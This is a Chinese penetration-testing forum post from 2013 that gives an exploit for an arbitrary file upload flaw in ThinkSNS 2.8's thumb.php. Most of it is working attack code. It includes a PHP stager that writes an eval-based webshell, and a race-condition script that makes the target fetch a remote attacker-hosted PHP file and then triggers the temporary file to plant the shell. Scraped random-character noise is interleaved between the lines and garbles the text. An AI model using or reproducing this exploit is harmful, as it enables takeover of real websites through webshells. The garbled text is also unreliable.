中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
2 I4 I+ s# Z/ P6 s: N
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
! R2 X5 ]( B: j& Z
漏洞文件
1 C3 J3 z# w7 Q- Q1 Y: @
存在漏洞的文件为:thumb.php
# m1 C' \+ c7 F
作者:韦鲲鹏
- P+ B6 U s% V9 Z7 H% m3 c
1、 准备如下PHP文件并上传到服务器(自己的)。
! |4 e8 k0 H) W$ P, D; S( w, t
文件内容如下:
0 \) w* q( z! y. H5 x) F5 Y+ K$ v
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
' B6 o4 ]# {+ U C
2、 计算出临时的文件名:
; f- \ j0 |% Z3 h: U) R* {
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
6 z) q, C# I! l, [. y
8 F" f4 |7 A3 N& F% t1 }" g9 l
3、 上传临时文件。
O. i2 X# z! I; o& \( |
4、 访问临时文件。
3 Z9 S' D# T- I3 m! a2 a
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
) x) ]: a I4 B6 @0 N) r8 g
Exploit文件内容如下:(这个我就不详细解释了)
, j: L( H2 i: K" r( l
<?php
+ s, G9 K2 H1 l# A9 C- k
error_reporting(0);
* O ^ u) s6 }, m8 ?
set_time_limit(0);
4 |& D8 C9 M; ~0 m( ~7 f
ini_set(“default_socket_timeout”, 5);
! u) f- P* w$ Z
function http_send($host, $port, $headers) {
+ M" k2 ]+ d- I. _- b1 N: @
$fp = fsockopen($host, $port);
( y3 F) A& A- K9 R2 @) a y% [
if (!$fp) die(‘Connection -> fail’);
( {- H& q7 e+ C& |6 D0 B! f% }
fputs($fp, $headers);
. k# H+ X# ^0 X' q( Q0 r% Z- b
return $fp;
0 M+ [, a1 o8 {8 L/ H! N
}
( e! y- m. ]* A) E
function http_recv($fp) {
7 ~$ W8 U7 U" X1 X
$ret=”";
, M. d) N' W; g- m, @
while (!feof($fp))
% d! I! {. w- z7 v- [5 j3 E# E$ j
$ret.= fgets($fp, 1024);
& `6 n! q' n& w* h
fclose($fp);
. i7 T4 w! r7 Y8 s0 |) T
return $ret;
( M' V, h; E0 W: v2 ^, b) y
}
8 L- z1 b4 S/ l) l" C" y
print “\n# ThinkSns Arbitrary File Upload #\n”;
) q& ~1 p% e: [* ?1 V/ n) N+ m
print “# Discovered by 韦鲲鹏 #\n\n”;
1 i0 [ k4 L: a+ J5 P9 P9 O
if ($argc < 4) {
3 G) e! r/ g% c6 y% B
print “Usage: php <host> <path> <romote_url>\n”;
0 P% f5 W1 P0 J$ r
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* p+ T% U' D5 i$ E3 {
die();
$ _0 `( Q( U$ v% l- P# q
}
: s" ~8 p3 [- W* j; o1 U: L7 T3 |- M! i
$host = $argv[1];
9 J6 Y3 c9 z2 H& s, K- ?
$path = $argv[2];
$ P( }4 Y+ K" W* N$ ]4 v
$url = $argv[3];
/ g( u: p1 W# j- `7 Q2 A% A0 m
$i=0;
7 y9 U4 Q+ p& m$ d
//上传数据包
$ p" G2 d! j9 S) p
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
9 g) b; i/ T2 n+ U. @! H
$headers_up .= “Host: “.$host.”\r\n”;
* f' f5 V7 i0 n+ J1 J
$headers_up .= “Connection: close\r\n\r\n”;
6 @5 P7 W- N! a# H% N& L% V' X
echo $headers_up;
3 \6 ^( b, T5 o4 q2 g
//临时文件访问数据包
5 R$ ~9 n5 U2 ]* L! n
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
( ]$ T0 u3 O+ y" Q+ F7 X2 G; e
$headers .= “Host: “.$host.”\r\n”;
2 g k: Q6 u0 Q& z9 Y
$headers .= “Connection: close\r\n\r\n”;
- [$ M: T+ y& N+ l* `' G& Z& `
echo $headers;
. z9 O& t- X' E- I+ m
while(++$i<10) {
* F- w) [) q$ x9 z$ v
fclose(http_send($host, 80, $headers));
* a% {1 y0 I# k6 j' L2 |: {- O
}
. J3 k+ }& U$ D6 T! T6 P G# A
fclose(http_send($host, 80, $headers_up));
% o& w1 `; Y9 L( }% z6 x
while(++$i<50) {
; o- }1 S& B3 q; G" m" X+ P- {% p
fclose(http_send($host, 80, $headers));
+ y g. c( ?: U+ x
}
; Y: d$ U3 d4 O2 f0 N4 W- Y# k' C. \
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
. F- f/ F; L S7 b+ f, s
$headers .= “Host: “.$host.”\r\n”;
5 K% I; r( l8 Q9 W. s3 |0 @( V* H
$headers .= “Connection: close\r\n\r\n”;
/ v0 H- l* B: A) Y7 m6 H- Y
$res=http_recv(http_send($host, 80, $headers));
8 d' i9 a8 y9 f- C- }3 b6 {5 {
if(preg_match(‘/200 OK/’,$res)) {
1 D% d5 e7 y/ ] H; Z# C
print “Success!\n\n”;
9 ^/ S& O* z6 H$ ^& i
} else {
t, m6 W1 z5 D2 _
print “Fail!\n\n”;
7 A; _1 z. |/ z9 ~
}
0 x; C7 c; F- E
?>
% o9 ^; g. V- a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2